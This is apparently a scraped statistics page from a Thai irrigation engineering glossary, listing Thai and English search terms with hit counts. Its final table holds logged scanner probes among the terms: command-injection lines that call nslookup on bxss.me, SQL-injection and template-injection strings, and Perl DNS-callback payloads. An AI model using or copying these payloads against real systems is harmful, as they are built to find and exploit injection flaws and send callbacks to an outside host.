| คำศัพท์ | จำนวนครั้งที่พบ | การผันน้ำ | 3561
| การระบายน้ำ | 3349
| การเกิดโพรงท่อ | 3292
| การหดจากการแข็งตัว | 2945
| การสูญเสียที่ทางเข้า | 1762
| การไหลแบบราบเรียบ | 1574
| การระบายน้ำผิวดิน | 1308
| การตกตะกอน | 1188
| กรวดกลาง | 1016
| กรวด | 995
| กราฟจัดการน้ำ | 983
| การถมหิน | 978
| การนำชลศาสตร์ | 933
| กราฟจัดการน้ำเส้นล่าง | 630
| กราฟจัดการน้ำเส้นบน | 623
| พายุฝนออกแบบ | 425
| พายุหมุน, ไซโคลน | 425
| กราฟน้ำท่า | 414
| พื้นอาคารชลประทานด้านเหนือน้ำหรือท้ายน้ำ | 411
| การกร่อน | 398
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | องค์ประกอบน้ำท่วม | 0
| ท่อทิ้งน้ำ | 0
| มาตรวัดระยะ | 0
| ฝายโอกี้ | 0
| การดูดซับ | 0
| รถดันดิน | 0
| จุดแบ่งสถานะภาพของดิน | 0
| น้ำกระด้าง | 0
| วัสดุกั้นอัดฉีด | 0
| ลาดข้าง | 0
| การบุกรุกทางน้ำ | 0
| กราฟหนึ่งหน่วยน้ำท่าสังเคราะห์ | 0
| ชลประทานแบบร่องสลับร่อง | 0
| ประตูน้ำแบบปีกผีเสื้อ | 0
| ออริฟิซ | 0
| บานชนิดกระดก | 0
| น้ำชลประทานเหลือใช้ | 0
| บ่อดักยาฆ่าเชื้อ | 0
| ถนนขึ้นสันเขื่อน | 0
| ฝนคาดการณ์ | 0
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | 100-year flood (one-hundred year flood) | 855
| 500-year flood | 678
| 3D Graphics | 667
| United Nations Framework Convention on Climate Change (UNFCCC) | 613
| Wait state | 418
| Ultrasonic velocity sensor, or Ultrasonic flowmeter | 413
| Upstream control, or Upstream regulation | 408
| URL | 408
| USB Flash drive, Smart drive, Pen Drive | 408
| Gate chamber | 403
| GSM | 389
| Integrated Assessment | 386
| Guard sill, or Back sill | 361
| Abatement | 237
| Adsorption | 224
| Radar | 223
| Image File | 216
| Kaolin, China clay, or Porcelain clay | 213
| Ultra high-early strength cement | 208
| Ultraviolet (UV)-B Radiation | 208
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | Iconic models, or Physical models | 0
| Parameter | 0
| Java | 0
| Natural bed (stone) | 0
| C horizon | 0
| Kennedy`s equation | 0
| Saline-alkali soil | 0
| 3D Graphics | 0
| Ideal irrigation interval | 0
| Outlet | 0
| Machine language | 0
| Underground dam | 0
| Safe yield | 0
| Earth canal | 0
| Gallery | 0
| O horizon | 0
| Washland | 0
| Gate recesses | 0
| Zone of saturation | 0
| Remote sensing | 0
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | กรวดใหญ่ | 200
| กลไกการปิด | 196
| กังหันลม | 196
| เขตแอนโทรปิก | 196
| เชื้อเพลิงชีวภาพ | 196
| ดินถล่ม | 196
| น้ำผิวดิน | 196
| ประตูน้ำ | 196
| ปริมาณการไหลจำเพาะ | 196
| ฟลูออเรสซีน | 196
| มาตรวัด | 196
| ระดับผิวน้ำใต้ดิน | 196
| ระดับสารปนเปื้อนสูงสุด | 196
| ระบบบำบัดน้ำเสีย | 196
| ระบบระบายน้ำผิวดิน | 196
| โลหะบัดกรี | 196
| สถานีสูบน้ำ | 196
| หน่วยกระตุ้นการทำงาน | 196
| หินอัคนี | 196
| อนุกรมเวลา | 196
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | ระดับผิวน้ำใต้ดิน | 0
| น้ำผิวดิน | 0
| ทรายละเอียด | 0
| หน่วยกระตุ้นการทำงาน | 0
| กลไกการปิด | 0
| ระดับสารปนเปื้อนสูงสุด | 0
| ประตูน้ำ | 0
| หินอัคนี | 0
| กังหันลม | 0
| ระบบบำบัดน้ำเสีย | 0
| ปริมาณการไหลจำเพาะ | 0
| เขตแอนโทรปิก | 0
| อนุกรมเวลา | 0
| ระบบระบายน้ำผิวดิน | 0
| ฟลูออเรสซีน | 0
| เชื้อเพลิงชีวภาพ | 0
| อัตราการไหลวิกฤต | 0
| โลหะบัดกรี | 0
| มาตรวัด | 0
| ดินถล่ม | 0
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | Annual flow | 392
| Chamfer | 392
| safe | 199
| Aggregate | 196
| Automatic | 196
| Casing | 196
| Check drop | 196
| Coastline | 196
| Geology | 196
| Hydraulic turbine | 196
| Impulsepump | 196
| Mole drain | 196
| movement | 196
| Mudslide | 196
| Mudstone | 196
| Normal fault | 196
| Peakin flow | 196
| Retarder | 196
| Riserpipe | 196
| Rule curve | 196
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | Mole drain | 0
| 1}dfb[[${98991*97996}]]xca | 0
| $(nslookup -q=cname hitsylvrfuncn2011b.bxss.me | -1 OR 2+518-518-1=0+0+0+1 | 0
| bfg4223<s1﹥s2ʺs3ʹhjl4223 | 0
| -1 OR 2+367-367-1=0+0+0+1 -- | 0
| "}}dfb{{=98991*97996}}xca | 0
| http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg | 0
| e | 0
| "print("dfb" . 98991*97996 . "xca"); | 0
| -1" OR 3+943-943-1=0+0+0+1 -- | 0
| Check drop | 0
| 1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o") | 0
| ".gethostbyname(lc("hitff"."bqvgvrgbf631c.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(69).chr(110).chr(80)." | 0
| Valve | 0
| 1%>dfb<%=98991*97996%>xca | 0
| expr 9000445785 - 952471 | 0
| ".gethostbyname(lc("hitbh"."wjmzebfafd2d8.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(71).chr(104).chr(72)." | 0
| func_lookup.php | 0
| $(nslookup -q=cname hitzfvebfxjfnd647f.bxss.me |
|---|